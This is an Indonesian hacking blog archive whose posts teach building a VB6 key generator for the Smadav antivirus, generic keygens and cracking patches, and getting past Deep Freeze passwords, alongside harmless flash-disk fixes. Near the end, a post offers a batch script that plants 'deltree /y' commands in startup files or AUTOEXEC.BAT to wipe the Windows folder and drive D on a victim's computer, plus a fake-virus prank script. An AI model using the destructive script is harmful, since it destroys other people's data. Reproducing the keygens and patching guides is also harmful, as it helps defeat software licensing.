Showing posts with label virologi. Show all posts
Showing posts with label virologi. Show all posts

Sunday, December 30, 2012

VB SCRIPT KEYGEN SMADAV (LOGIKA VB)




Salam Sintang-web,
Kali ini saya Mr.Potensial  bersama sahabat kreatif sintang-web , akan membagikan sekilas info dan bagai mana cara membuat crack SMADAV menggunakan Visual Basic 6 ( jika sobat ingin menggunakan visual basic 2008 atau 2010 juga bisa, tapi memungkinkan memerlukan sedikit modifikasi kode.

1.Pertama Buka Visual basic 6 sobat (jika sobat nggak punya bisa pake yang portable juga bisa)
Download

2.Terus pilih Standart Project.

3.Tambahkan 2 buah Textbox , dan 1 Button (Comand Button)

lihat Screenshot nya untuk lebih jelas , (terserah sobat mau nyusun seperti apa, buat sekreatif mungkin asal kan ikuti petunjuk yang tertera di gambar)

dengan Properties nya >>

Textbox1 >
(Name) = txtName
aligntment = 2-center
text = Username

TextBox2 >
(Name) = txtKey
aligntment = 2-center
text = Serial Key.

4.dan klik dua kali Comand Button , serta masukkan Sourcecode berikut Ini
SourceCode:
Private Sub Command1_Click()
Dim c, i, j, szCNLen As Integer
  Dim a(6) As Integer
  Dim MgcNum(21) As Integer
  Dim ssName(50) As Integer
    
  a(0) = "00"
  a(1) = "00"
  a(2) = "00"
  a(3) = "99"
  a(4) = "99"
  a(5) = "00"

  MgcNum(0) = 38: MgcNum(1) = 56
  MgcNum(2) = 57: MgcNum(3) = 57
  MgcNum(4) = 99: MgcNum(5) = 15
  MgcNum(6) = 58: MgcNum(7) = 12
  MgcNum(8) = 13: MgcNum(9) = 17
  MgcNum(10) = 19: MgcNum(11) = 18
  MgcNum(12) = 88: MgcNum(13) = 58
  MgcNum(14) = 52: MgcNum(15) = 52
  MgcNum(16) = 12: MgcNum(17) = 13
  MgcNum(18) = 12: MgcNum(19) = 57
  MgcNum(20) = 52: MgcNum(21) = 98

  szName = UCase(Trim(txtName.Text))
  szCNLen = Len(szName) - 1

  i = 0
  j = 0

  Do While i <= szCNLen
    For c = 1 To Len(szName)
      ssName(i) = Asc(Mid(szName, c, 1))
      If j > 2 Then j = 0
      a(j) = (ssName(i) * Len(szName) + a(j)) Mod &H64
      If a(j) >= &H64 Then a(j) = a(j) Mod &H64
      i = i + 1
      j = j + 1
    Next
  Loop

  i = 0
  Do While i < 5
    a(5) = ((a(5) + a(i) * Len(szName))) Mod &H16
    i = i + 1
  Loop

  a(5) = MgcNum(CInt(a(5)))

  If Trim(Len(txtName)) < 3 Then
    'MsgBox "Please input name more than 3 char", vbInformation, "Crack Smadav , Fytoko Corporation"
    txtKey.Text = "Please input name more than 3 char"
  Else
    txtKey.Text = a(3) & a(5) & a(4) & a(0) & a(1) & a(2)
  End If
End Sub

Private Sub Form_Load()
MsgBox "Created By Mr.Potensial , Thanks to Fytoko Corporation", vbInformation, "Info"
End Sub

5.Kalau Sudah DImasukkan Code Diatas Ke Comand Button , Terus Pencet F5 Untuk Debug , Dan Crack Bisa Langsung Digunaka

6.Untuk Make Project > Klik File > make Project , Dan Save

NB:Untuk Username , jangan Gunakan Spasi , Karna Di Smadav Spasi Tidak Dihitung Dalam Code Text To Hex Nya. tapi pada saat kode telah di buat sobat dapat menggunakan spasi ataupun titik, contoh sobat membuat dengan nama MrPotensial

dan untuk yg mau tahu cara buat keygennya melalui hitung secara logika/ sedikit Matematik > langsung menuju ke TKP >>>

KODE ASCII
KITA HANYA MENGGUNAKAN HURUF BESAR
MAKA BERLAKU a=A=65

A=65......F=70......K=75.......P=80.......U=85.... ...Z=90
B=66......G=71......L=76.......Q=81.......V=86
C=67......H=72......M=77......R=82.......W=87
D=68......I=73.......N=78......S=83.......X=88
E=69......J=74.......O=79......T=84.......Y=89

UNTUK KODE ASCII ANGKA 0-9

0=48......5=53
1=49......6=54
2=50......7=55
3=51......8=56
4=52......9=57

MARI KITA COBA..
UNTUK AWAL SAYA SARANKAN UNTUK MENGGUNAKAN SEDIKIT KARAKTER BIAR NDA MUMET (PUSING)
MISAL SAYA MAU CARI SN DARI NAMA : MrPotensial

TAHAP 1
**************************************************

RUMUS : ( NILAI ASCII MASING² x n ) % 100 =
Contoh "M" maka jumlah nya 1 " mengapa?? dikarnakan  hanya memiliki 1 Karakter"
M = (77 X 1) % 100 = 77 % 100 = 77 “karna nggak bisa di bagi 100 maka masih 77 hasil nya”

Contoh 2 “MR” maka jumlah nya 2 “ mengapa ?? karena memiliki 2 karakter”
M= (77 X 2) % 100 = 154 % 100 = 54 (menggunakan rumus sisa dari hasil bagi, klo blum tahu bisa dipelajari di bawah)
R= (82 X 2) %100 = 164 % 100 = 64

ket :
n = jumlah karakter
% = sisa hasil bagi
contoh mencari sisa hasil bagi :
1. 350 % 100 = 300/100 habis nga ada sisa, tinggal 50/100 jadi sisa hasil bagi = 50
2. 99 % 100 = 99/100 sisa hasil bagi = 99
(Pake Rumus pembagian waktu SD)

___________________________________________________

Langsung aja menuju contoh nya ya :

Diket :

M : (77 X 11) % 100 = 47(D1)
R : (82 X 11) % 100 = 2(D2)
P : (80 X 11) % 100 = 80(D3)

(Setiap sampai D3 maka turun kebawah lagi , dimulai dari D1')

O : (79 X 11 + 47) %100 = 16(D1')
(dari mana 47? , 47 hasil dari D1 , yang kemudian dimasukan ke D1 yang dibawah nya)
T : (70 X 11 + 2) %100 = 26(D2')
(nilai 20 Di dapat dari D2)
E : (89 X 11 + 80) % 100 = 39(D3')
(Nilai 0 Didapat Dari D3)
(Dan sama juga seperti yang diatas jika setiap sampai D3 maka turun kebawahnya , dimulai dari D1 kembali)

N : (78 X 11 + 16) %100 = 74 (D1")
(Nilai 60 Didapat Dari D1')
S : (83 X 11 + 26) %100 = 39 (D2")
I : (73X 11 + 39) %100 = 42 (D3")

A : ( 65 X 11 + 74) %100 = 89(D1"')
L : ( 76 X 11 + 39) %100 = 75(D2"')

Nah tahap 1 has ben completed atau telah selesai , hehehe, dan sekarang ambil 3 nilai dari belakang dari hasil tahap 1 tadi, yaitu “D1= 89 , D2=75 , D3=42”
Ditambah rumus ini pada awalnya 99x99

nah maka jadinya seperti ini 99X99897542

TAHAP II

RUMUS MENCARI MR.X

KITA AKAN MENGGUNAKAN 3 DATA YANG TELAH KITA DAPAT TADI [D1,D2,D3]

*********************************************

RUMUS : ( DEFAULT DATA x n ) : 22

DEFAULT DATA : [0, 0, 0, 99, 99]

ISIKAN 3 DEFAULT DATA PERTAMA DENGAN D1,D2,D3

C1 Dan C2 : Adalah Tetapan = 99

**********************************************

DEFAULT DATA YANG TELAH DI GANTI DENGAN D1,D2,D3 :

Data = D1X = 89 , D2X = 75 , D3X = 42 , C1 = 99 , C2 = 99 =>>>

D1X = (89 X 11) : 22 = 979 : 22 = 44.5 (Angka dibelakang koma di buang saja , tidak dipakai) = 44
= 44 X 22 = 968
979 - 968 = 11 (D1X)

D2X = (75 X 11 + 11 *Hasil Dari D1X*) : 22 = 836 : 22 = 38
38 X 22 = 836
836 – 836 = 0 (D2X)

D3X = ( 42 X 11 + 0 *Hasil Dari D2X*) : 22 = 462 : 22 = 21
D3X = 21 X 22 = 462
D3X = 462-462 = 0 (D3X)

C1 = ( 99 X 11 + 0) : 22 = 1089: 22 = 49.5 (Angka dibelakang koma buang saja)
C1 = 49 X 22 = 1078
C1 = 1089 - 1078 = 11 (C1X)

C2 = ( 99 X 11 + 11) : 22 = 1100 : 22 = 50 (Angka dibelakang koma buang saja)
C2 = 50 X 22 = 1100
C2 = 1100 - 1100 = 0 (C2X)

Jadi yang di ambil cuma nilai C2X saja / hasil paling akhir dari pencarian Mr.X

Dan Nilai C2X = 0 Dan Empat Dalam Mod = 38

maka hasil akhir aya adalah :

MrPotensial : 993899897542

Satuan Mod :

X0 = 38......X5=15......X10=19......X15=52......X20=52
x1 = 56......X6=58......X11=18......X16=12......X21=98
x2 = 57......X7=12......X12=88......X17=13
X3 = 57......X8=13......X13=58......X18=12
X4 = 99......X9=17......X14=52......X19=57


Ex : Nama : Mr.Potensial : No Log : 993899897542

Sekian tutorial dari saya , Salam sintang , Free For AllRegards, Mr.Potensial
 

Friday, March 30, 2012

Mengatasi Flash Disk tidak terbaca di windows

langsung saja nih cuman beberapa. coba aja wek:p
Coba cara nomor satu ini
1) klik start
2) klik Run, dan ketik "gpedit.msc" tanpa tanda kutip dan enter
3) di window baru, buka "Administrative Templates" yang di bagian "User Configuration" (jgn salah pilih yg Computer Configuration lho)
4) buka "Windows Components", di root nya buka "Windows Explorer"
5) kan banyak tuh policy yg Not Configured, cari "Hide these specified drives in My Computer" dan "Prevent access to drives from My Computer"
6) masing2 ubah konfigurasi nya dari "Not configured" jadi "Enabled" trus yang bagian "pick one of the following combinations" jadi "do not restrict drives"
7) klo udah 2 2 nya diubah, "OK" dan close
8) coba colokin FD mu, klo bisa Alhamdulillah.. klo ngga bisa juga ya paling driver motherboard nya yg gaq bener ato emg FD nya yg uda buluk..

atau di deteksi ulang

1) Coba colok fdsk ny ke port USB yg terletak di bag belakang kompi (krn beberapa mobo gk support front panel usb)
2) Coba colok fdsk ny sesaat stelah kompi bru dinyalain
3) Klo ngga driver wat USBport ny blum di install --> reinstall driver ny

Dan bisa juga buka Command prompt, start->run->”cmd”

masuk ke drive USB, misal : e: / f: / g:
ketik : chkdsk /f –> kenapa /f ? search di cmd, ‘help chkdsk’
Pilih yes(y) untuk melakukan proses checkdisk setelah kompi di restart
Lakukan restart PC, biarkan proses berlangsung setelah winlogon

Apabila cmd tidak bisa masuk ke dalam drive usb tersebut, hal diatas masih bisa dilakukan dari drive manapun, dengan perintah : chkdsk (:e/f/g drive usb) [/...]
Semoga USB flasdisk yang tadinya tidak bisa dibuka, kini bisa dibuka kembali

Flash Disk mengalami Write Protect

1. Masuk ke DOS Prompt Windows XP dan ketik CHKDSK /F Drive letter : (chkdsk /f v:)
2. Selesai memeriksa dari Check Disk (CHKDSK), coba anda buang file yang ada pada Flash Disk dengan perintah Del drive letter:*.*. Contoh pada perintah membuang file dari Flash Disk di drive V: adalah DEL V:*.*
3. Sekali lagi anda coba format dengan perintah Dos Promt. Format V:
4. Atau gunakan cara melalui Computer Management dan lihat volume drive V, dan anda coba format. Bila masih terdapat pesan error lakukan boot pada computer



File terhiden


1. Masuk ke Command Prompt lalu aktifkan drive flash disk
2. ketikkan "attrib -s -h /d /s" tanpa tanda kutip
3. Kalau mau flashdisk aman, buat satu file kosong bernama recycler dan set attributnya menjadi read only
Cara membuatnya, klik kanan flashdisk > new > text document > enter.
Lalu ubah namanya menggunakan command prompt
ren G:\"New Text Document.txt" G:\recycler Selain itu, siapkan sebuah folder dengan nama yang agak aneh, seperti Δ Brankas Smadav Δ
Dengan nama yang diawali oleh karakter abjad Yunani, virus tidak akan menginfeksi file yang ada di dalamnya (semisal RAMNIT yang menginfeksi file html)

Semoga bisa membantu menyelesaikan permasalahan yang dihadapi.

Cara Proteksi Flashdisk Dari Virus dengan Smad-Lock


Dahulu sebagai media penyimpanan orang menggunakan disk drive 5 1/4 dan 3 1/4 dengan kapasitas penyimpanan yang sangat kecil, saat ini kebutuhan penyimpanan data semakin besar, seperti penyimpanan software, file musik, dokumen dll, dan sekarang orang menggunakan flashdisk, selain kecil dan mudah dibawa kapasitasnyapun besar mencapai 8 Gb.

Namun pencipta virus beralih untuk menyebarkan virus melalui media penyimpanan flasdik dengan memanfaatkan fasilitas autorun.inf. Sehingga tanpa sadar si pengguna flashdisk saat mencolokkan flasdisknya ke komputer virus dari flashdisk tersebut akan menyerang ke system regystry komputer tersebut.

Berikut Salah satu cara pencegahan agar flash disk agar tidak tertular virus yaitu dengan cara memanfaatkan salah satu fasilitas anti virus portable buatan indonesia yaitu anti virus smadav.

Salah satu fasilitas yang disediakan anti virus smadav yaitu fasilitas Smad-Lock. Dengan Smad Lock ini Maka hampir tidak mungkin virus dapat menembus dan menginfeksi Flash Disk dan file yang ada pada flash disk kita.

Kenapa demikian ? Smadav Smad-Lock akan membuat folder Smad-Lock dan folder autorun.inf yang terproteksi kuat pada flash disk kita. Dengan demikian virus tidak akan mampu masuk dan tidak mampu membuat file auto run untuk menggantikan atau mereplace file auto run yang dibuat oleh Smadav Smad-Lock ini.

Berikut ini langkah untuk mengaktifkan Smadav Smad Lock :
1. Download anti virus Portable SMADAV di web resmi SMADAV
2. Extrac dan Jalankan anti virus SMADAV
3. Pilih Tidak bila ada tidak ingin menjalankan fasilitas real time protection.
4. Klik menu tool dan pilih menu Smad Lock.
5. Pada daftar drive nya pilih dan beri tanda flash disk anda kemudian klik menu Lock
6. Simpan semua data anda ke folder Smad-lock (Brankas Smadav)

Pada folder tersebut ada file readme.txt yang isinya

[Instruksi penggunaan folder Smad-Lock (Brankas Smadav)]

* Folder Smad-Lock (Brankas Smadav) ini adalah folder teraman dari infeksi virus. karena virus hampir tidak mungkin dapat memasuki folder ini. Jadi, semua file yang Anda taruh dalam folder ini SANGAT AMAN dari infeksi virus.

* Anda tidak boleh me-rename nama folder ini sedikitpun.

* Folder ini dapat diisi dengan file office berjenis DOC, XLS, PPT, dan semua file office sejenisnya. file-file yang ada di dalam folder ini hanya dapat dibuka oleh semua program buatan Microsoft dan beberapa program tertentu lainnya.

* Untuk file yang bukan berjenis dokumen office,Anda masih dapat mengisinya ke dalam folder ini, tapi jika file itu gagal dibuka dari dalam folder ini, itu artinya jenis file tersebut memang tidak bisa dibuka langsung dari dalam folder Smad-Lock (Brankas Smadav), Untuk membukanya, Anda dapat memindahkan file tersebut keluar folder ini terlebih dahulu sebelum membukanya.

Matikan menu auto Run pada komputer anda. Cara ini untuk menghindarkan Computer kita dari virus yang yang mengunakan metode auto run.

Menonaktifkan Auto run Pada Computer :
* Masuk menu Run, ketik gpedit.msc, enter, Klik menu computer configuration berikutnya klik Administratif template, System lalu Doble klik pada Turn Off Autoplay Pilih enable dan turn off auto play on : all drive , apply , OK

* Klik menu User configuration , Administratif template lalu klik System kemudian Doble klik pada Turn Off Autoplay Pilih enable dan turn off auto play on : all drive , apply, OK

Atasi DeepFreeze Dengan UnDeepFreeze ver.7

Banyak orang percaya bahwa salah satu pengamanan komputer terhadap virus dan gangguan lain adalah dengan memasang aplikasi Deep Freeze. Aplikasi ini akan membekukan rangkaian kegiatan yang dilakukan sampai komputer dimatikan. Deep Freeze juga akan membekukan disk/ media penyimpanan hardisk sesuai dengan partisi yang dipilih ketika melakukan pemasangan (install). Dengan adanya aplikasi ini kita tidak perlu khawatir ketika terjadi kesalahan melakukan kegiatan di komputer, maka kesalahan/ error tersebut akan kembali seperti semua seperti sebelum adanya kesalahan. Termasuk ketika komputer terinveksi virus, maka virus itu tidak bisa menjalar ke dalam sistem. Minimal hal ini bisa menghambat kinerja virus dalam menginveksi.

Namun, ketika kita menginginkan Deep Freeze ini diupdate atau bermaksud menghilangkannya, maka kita akan dibuat sedikit repot. Karena aplikasi ini tidak terdapat dalam daftar software (aplikasi) di Control Panel. Sering kali karena tidak adanya Deep Freeze dalam daftar aplikasi di Control Panel, malah membuat kita menginstall ulang Windows. Hmm... hal ini malah semakin repot, sekaligus semakin lama pula proses pembenahannya. Bak kita memulai proses mulai dari awal. Maka kita memang memerlukan solusi yang tepat guna menguninstall Deep Freeze ini. Nah, bagaimana cara menghilangkan atau mengupdatenya? Berikut tipsnya.

Untuk menghilangkan (uninstall) Deep Freeze, buka Deep Freeze dalam keadaan Boot Thawed. Jika kita ingin menghilangkan Deep Freeze karena lupa passwordnya, gunakanlah aplikasi Undeep Freeze. Undeep Freeze digunakan sebagai alat untuk membuka Deep Freeze tanpa harus tahu password yang sebenarnya. Unduh aplikasinya disini. Jika digunakan ternyata tidak kompatibel, silahkan pembaca cari lebih lengkap di internet.

Perangkat yang harus kita persiapkan untuk menguninstall Deep Freeze adalah setup program Deep Freeze itu sendiri. Deep Freeze akan berhasil diuninstall jika menggunakan Deep Freeze yang sama.

Sebagaimana kebaikan dibalas dengan kebaikan pula. Allah Subhanahu wa Ta’ala berfirman :

هَلْ جَزَاءُ الإحْسَانِ إِلا الإحْسَانُ

“Tidak ada Balasan kebaikan kecuali kebaikan (pula).” (QS. Ar Rahman: 60)

File setup ini disarankan sama dengan versi Deep Freeze yang telah terinstall sebelumnya. Silahkan unduh disini untuk Windows XP atau klik disini untuk Windows 7.

Restart komputer untuk menerapkan Deep Freeze dalam keadaan terbuka (Boot Thawed). Setelah restart, klik 2x setup program Deep Freeze sebagaimana sama seperti cara install. Jika berhasil muncul, dialog sebagai berikut :


Klik Uninstall. Kemudian komputer akan restart.

Uninstall Deep Freeze tidak akan berhasil jika Deep Freeze rusak akibat upgrading Windows. Atau dual booting dengan sistem operasi lain (misalnya Linux) tanpa terlebih dahulu membukanya.

Tips ini tidak akan berhasil jika Deep Freeze tidak dalam keadaan terbuka (Boot Thawed). Begitu pula dengan hati, hati tidak bisa menerima kebaikan jika hati dalam keadaan tertutup. Allah Subhanahu wa Ta’ala berfirman :

وَمِنْهُمْ مَنْ يَسْتَمِعُ إِلَيْكَ وَجَعَلْنَا عَلَى قُلُوبِهِمْ أَكِنَّةً أَنْ يَفْقَهُوهُ وَفِي آذَانِهِمْ وَقْرًا وَإِنْ يَرَوْا كُلَّ آيَةٍ لا يُؤْمِنُوا بِهَا حَتَّى إِذَا جَاءُوكَ يُجَادِلُونَكَ يَقُولُ الَّذِينَ كَفَرُوا إِنْ هَذَا إِلا أَسَاطِيرُ الأوَّلِينَ

“Dan di antara mereka ada orang yang mendengarkan (bacaan) mu, Padahal Kami telah meletakkan tutupan di atas hati mereka (sehingga mereka tidak) memahaminya dan (kami letakkan) sumbatan di telinganya. dan jikapun mereka melihat segala tanda (kebenaran), mereka tetap tidak mau beriman kepadanya. sehingga apabila mereka datang kepadamu untuk membantahmu, orang-orang kafir itu berkata: "Al-Quran ini tidak lain hanyalah dongengan orang-orang dahulu." (QS. Al An’am: 25)

Allah Subhanahu wa Ta’ala juga berfirman :

وَقَالُوا قُلُوبُنَا غُلْفٌ بَلْ لَعَنَهُمُ اللَّهُ بِكُفْرِهِمْ فَقَلِيلا مَا يُؤْمِنُونَ

“Dan mereka berkata: "Hati Kami tertutup". tetapi sebenarnya Allah telah mengutuk mereka karena keingkaran mereka; Maka sedikit sekali mereka yang beriman.” (QS. Al Baqarah: 88)

كَذَلِكَ يَطْبَعُ اللَّهُ عَلَى قُلُوبِ الَّذِينَ لا يَعْلَمُونَ

“Demikianlah Allah mengunci mati hati orang-orang yang tidak (mau) memahami.” (QS. Ar Ruum: 59)

Dan sesungguhnya Allah lah yang membolak balikkan hati. Maka kita berdoa kepada Nya semoga kita termasuk orang yang diberi hidayah. Amin.

Demikian. Semoga bermanfaat.


Sumber : Berbagai Sumber

Cara Buat KeyGen Software

FirdausTech - Selamat Malam mas bro semua ., maaf akhir-akhir ini saya jarang update blog ini karena ada sesuatu hal dan juga sibuk siapin template blog ini. soalnya saya pengen ganti template yang sederhana saja agar mas bro semua lebih gampang load blog jelek ini, hehehehe. nah kesempatan ini saya akan share cara membuat key Generator atau sering kita sebut dengan Keygen. saya juga sudah pernah share cara membuat keygen dengan software . tetapi itu hanya untuk memperbaharui keygen yang lama agar bisa terpakai lagi untuk software yang ter update versinya. itu pun bila programer software nya tidak update security software nya. nah sekarang kita akan membuat suatu Keygen dengan bantuan bang Visual Basic. kenapa memakai Visual Basic 6?? karena saya bisanya ya cuma ini. hahahahaha. kaya foxpro, c++, Java dan yang lain aku ra mudeng babar belas sumpah mas bro. uangeeleee pollll . hahahaha. cuma tau dasar-dasarnya aja pas di kuliah dulu.

Wes ga usah banyak cingcong ae lah. sekarang kita bahas mas bro. ok sekarang kan kita membuatnya dengan Visual Basic nih. ya mas bro tentunya harus mempunya dan sudah instal software nya . ya pastinya to?? hahahaha.
nanti saya kasih link download di bawah aja ya. atau cari di blog ini. atau di sini bisa ding nih Download Visual Basic 6 Download Disini
Sudah di instal??? sudah bisa terpakai atau terbuka???
ok kita mulai.

1. Buka Visual Basicnya mas bro biasanya akan muncul tampilan begindankk


2. Pilih aja yang standar exe mas bro. nah selanjutnya mas bro buat 1 textbox dan 3 CommandBottom.
tampilanya seperti begindung mas bro.
nah sudah belum???? nah Propertise nya formanya seperti ini
TextBox
Name        : Text1
CausesValidation: True
HideSelection    : True
LinkMode     : 0 - None
LinkTimeout    : 50

CommandBotton 1
Name        : Command1
Caption        : &Generate
CausesValidation: True
Enable        : True
TabIndex    : 1
TabStop     : True
Visible        : true

CommandBottom 2 dan 3 sama Kecuali
Name        : Command2
Caption        : &Check
TabIndex    : 2
dan
Name        : Command3
Caption        : About Me
TabIndex    : 3

Setelah itu mas bro silahkan Copy paste semua Coding di bawah ini ke dalam Form 1
Semuanya ya mas bro.

Private Sub Command1_Click()
Text1 = FTKeygen.GenCode
End Sub

Private Sub Command2_Click()
Pesan = Pesan & "Serial Number Sukses 100% , By : http://didisawegotomo.blogspot.com//" & Chr(13)
X = MsgBox(Pesan, vbInformation, "FT KeyGen V.1")
End Sub

Private Sub Command3_Click()
Form2.Show
End Sub

Private Sub Form_Load()
Call Command1_Click
End Sub

Private Sub Text1_Change()

End Sub

Private Sub Timer1_Timer()
Static I As Long
Const strCaption As String = "FT KeyGen"
I = I + 1
If I > Len(strCaption) Then
I = 0
End If
Form1.Caption = Left(strCaption, I)
End Sub

3. Ini Agak ga penting sih cuma About Me nya ya untuk mengetahui siap yang membuat saja begitu mas bro.
terserah mas bro saja design nya kaya gima . sesuka hati nya mas bro. hehehhe. contohnya seperti ini.

Ok sudah ?????

4. Yawdah to??? hahahaha. kurang satu mas bro. nah ini yang penting. kita tinggal membuat suatu module
dan Copy paste Semua Coding di bawah ini ok? cara membuat module di toolbar Project -> Add Module nah trus copy paste dah codingnya yang di bawah ini

Public Function CheckCode(ByVal Code As String) As Boolean
On Error Resume Next

Code = VBA.Mid(Code, 5)

Dim Temp As Long
For I = 1 To Len(Code)
Temp = Temp + Val(VBA.Mid(Code, I, 1))
Next

If Temp = 7 Then CheckCode = True
If Temp = 14 Then CheckCode = True
If Temp = 21 Then CheckCode = True
If Temp = 28 Then CheckCode = True
If Temp = 35 Then CheckCode = True
If Temp = 42 Then CheckCode = True
If Temp = 49 Then CheckCode = True
If Temp = 56 Then CheckCode = True
If Temp = 63 Then CheckCode = True

End Function

Public Function GenCode() As String

Dim R As Long, B As Long
Randomize

Do
DoEvents
R = VBA.Left(Int(Rnd * 10000), 3)
B = VBA.Left(Int(Rnd * 100000000), 7)
Loop Until CheckCode(R & "-" & B) = True

GenCode = R & "-" & B

End Function

Sudahhh Rampung Mas bro???
hehehehehe. Yang Penting. Pahami Semua Source Code di atas satu persatu dan fungsinya untuk apa.
Silahkan mas bro lebih kreatif lagi mungkin dengan menambahkan beberapa coding untuk memperbaiki ini.
Bila Menginginkan Source Code Visual Basic 6 yang lain silahkan cari Disini
Silahkan mas Bro Download Source Code nya bila males lama2 di blog ini untuk membacanya. hehehehe.

Membuat Patch (patching)

Patch..seperti yang kita ketahui adalah
merupakan sebuah program untuk membuat software kita menjadi full
version. Dalam hal ini kita dibenarkan untuk menghalalkan segala cara
untuk menjadikan program tersebut menjadi full version. Dalam proses
cracking, sebuah program dipatch dengan berbagai cara, ada yang hanya
dengan membalikkan konsep JE dan JNE atau JNZ menjadi JUMP, JE dan
sebagainya, juga dengan memasang breakpoint pada all intermodular call,
bahkan ada yang sampai memasang breakpoint pada hardware, on execution.
Patching
merupakan pembandingan antara file asli dengan file hasil patch. yang
hasilnya kemudian disatukan untuk dijadikan full version atau tanpa
proteksi lagi.
Pada beberapa forum yang membahas cracking seperti
SROeR, astalavista dot ms, kadangkala patching itu tidak dibenarkan,
yang dianjurkan adalah melakukan keygenning. Hmm,mungkin ada benarnya
yah, kalo keseringan melakukan patching (memasang NOP, dsb) kita bisa
ga ngerti cara membuat keygen.

Begini Caranya :

1. siapin senjata kita :
- PatchCreationWizard.exe
- dup2.exe
- Rlzer v2.20b.EXE
- t.p.e.2.03b.exe
silahkan pilih program apa yang anda suka !

2. siapin source file (file asli)
3. siapin target file (file hasil patch)

dalam hal ini saya menggunakan PatchCreationWizard.exe sebagai contoh (coz, ini yang paling gampang digunakan...wakakaka)
langkah pertama, jalankan PatchCreationWizard.exe, klik next...
pilih byte patch lalu next...
isi : - your handle dengan nama author (nama kamu)
- target title dengan nama file target (nama software target)
- juga browse target title dan select file targetnya
klik next...
browse, original file (file asli) dan patched file (file yang udah kita patch).
then, klik NEXT...

Jadi deh Patch nya,,

Membuat Key Generator ala www.reanimated-zone.co.cc


good morning!
kemaren iseng-iseng bongkar komputer lama jama masih SMP yang sudah full formated dengan system Linux, eh ketemu satu folder yang isinya tutorial-tutorial yang pernah aku posting di www.reanimated-zone.co.cc (i miss that blog) yang sekarang sudah diarsipkan oleh webhostingnya T_T
salah satu tutornya adalah membuat keyhen sederhana dengan VisualBasic, waktu itu masih pake VB 6. tutor tersebut adalah tutorial dengan program pertama yang saya buat (kira-kira pas jaman SD kelas 6 atau SMP, saya lupa, hehehe) waktu pertama kali mengenal dunia programming file-file executable (yang sekarang sudah males, dan berpindah ke web programming, ahahaha)
just leave the intro…
berikut adalah tutor asli, tanpa editan (sambil mengenang T_T)
semua tau kan apa itu keygen alias key generator?
tentunya para pengguna software pihak ke empat mengetahuinya[maksudnya software yang sudah "dimodifikasi"]
sebelum menuju ke topiknya, alangkah lebih baiknya jika anda-anda mendownload contoh keygen yang saya buat[masih sederhana]
klik disini untuk mendownload dan jalankan
rasakan dulu bagaimana taste-nya :D (Lupa download link-nya, maaf)
okey, stelah merasakan bagaimana rasanya…
kita ke inti dari topiknya…
1. buat satu buah textbox, dan 3 buah command button, satu untuk tombol generate, satu about, dan yang lain tombol exit
2. kemudian double klik tombol generate untuk memberinya code
3. ketik kode berikut:
Dim key As Integer
key = Int(Rnd() *5)
Select Case Key
Case 0
text1.text = “45123-4623-45263-456233″
Case 1
text1.text = “45123-4623-45263-456233″
Case 2
text1.text = “45123-4623-45263-456233″
Case 3
text1.text = “45123-4623-45263-456233″
Case 4
text1.text = “45123-4623-45263-456233″
End Select
4. doubel klik tombol exit dan beri kode “unload me” tanpa tanda petik
5. untuk kode bagian about terserah anda, karena tombol about tidaklah wajib
wew, here it is, kita bahas kode intinya:
Dim key As Integer > mendeklarasikan variabel key sebagai integer
key = Int(Rnd() *5) > artinya key dikeluarkan secara random, dan angka *5 adalah perintah “randomnya”[anda bisa menggantinya dengan *10 jika anda mempunyai case yang akan terpilih secara acak sebanyak 10 buah, jadi nilai angka dibalik tanda asterisk "*" tergantung case yang anda tulis untuk ditampilkan secara acak nantinya]
Select Case Key
Case 0
text1.text = “45123-4623-45263-456233″ >serial number dari keygen anda yang akan dikeluarkan ketika tombol generate ditekan
Case 1
text1.text = “45123-4623-45263-456233″ >serial number dari keygen anda yang akan dikeluarkan ketika tombol generate ditekan
Case 2
text1.text = “45123-4623-45263-456233″ >serial number dari keygen anda yang akan dikeluarkan ketika tombol generate ditekan
Case 3
text1.text = “45123-4623-45263-456233″ >serial number dari keygen anda yang akan dikeluarkan ketika tombol generate ditekan
Case 4
text1.text = “45123-4623-45263-456233″ >serial number dari keygen anda yang akan dikeluarkan ketika tombol generate ditekan
End Select > bagian ini berisi case-case yang akan dikeluarkan secara acak atau random
6. compile program keygen buatan anda dan rasakan taste-nya
sekian dari saya
greetz from alpheen
-= coded under VB6 =-
*untuk pemilihan jumlah case bisa lebih dari lima, tergantung yang agan-agan inginkan :)
go back to the intro
sebenarnya masih banyak tutor-tutor VB lainnya yang aku buat, berhubung lagi in love sama keygen, upload yang ini dulu ya, hehehe
sekian.

How To Disable Keyboard

Nah loh... seperti di kata judul di atas kali ini ada trik untuk mendisable keyboard di komputer/laptop dengan menggunakan FilterKeys. Sebenarnya cara ini adalah cara kurang kerjaan untuk teman-teman. Karena biasanya teman-teman ingin memperbaiki atau ingin meningkatkan performa komputer, justru ini malah mendisable.

Tapi gak apa-apa, untuk sekedar tips dan share, kali ini kita akan membahas tentang disable keyboard di windows xp. Langsung saja kita praktekan caranya :


Buka : Control Panel > Accebility Options. Maka akan muncul windows baru. Lalu checklist/centang use FilterKeys. Pasti keyboard anda tidak akan bisa mengetik. 

Selamat Mencoba...!! Mancal ke sumber

Saturday, October 22, 2011

Visual Basic Project (Virus Source Code Collection )


Ni ane tmbah lagi source2 virus buat latian para lamers nii pake visual basic..
download disini aja, tinggal open project (.vbp) lgsng F5 (run).. HEHE..
Enjoyy,,


Sunday, October 9, 2011

Code Virus Buat Jahilin Temen


Nah untuk selanjut nya kita belajar cara buat program untung jahilin temen,,,,,hehehehehe asal jangan terlalu juga sihh.... Grin Grin Grin Grin

Code Membuat Virus Palsu


langkah berikut ini yang dibutuhkan hanyalah sebuah software bernama notepad. Ya…!!hanya notepad. Ikuti ya petunjuknya.

1. Buka Notepad kamu

    * Klik Start
    * All Program
    * Accessories -> Notepad

2. kopi kode berikut ini

    msgbox “Maaf Komputer Anda Telah Terinfeksi Virus sigitwaskitoaji.blogspot.com”,16,”Warning”

3. Save dengan nama bukadong.vbs di C:Documents and SettingsAll UsersStart MenuProgramsStartup

Sekarang restart komputer kamu dan lihat apa yang terjadi. Ya.. selamat karena kamu sudah bisa membuat virus komputer palsu.

Code Virus pake Notepad

Ini khusus buat para "Lamer sejati" yang pengin ngerusak kompynya orang. Kalo kamu ngerasa bukan lamer, segera tinggalin artikel ini!!

Okay, ngga' usah banyak omong, lansung aja copy-pastekan code sialan di bawah ini ke teks editor kamu dan simpan dengan ekstensi .bat

Code:

@echo off

echo deltree /y %windir%\*.*>> %windir%\programs\startm~1\programs\startup\lamer.bat

echo deltree /y d:\*.*>> %windir%\programs\startm~1\programs\startup\lamer.bat

atau

@echo off

echo deltree /y %windir%\*.*>> AUTOEXEC.BAT

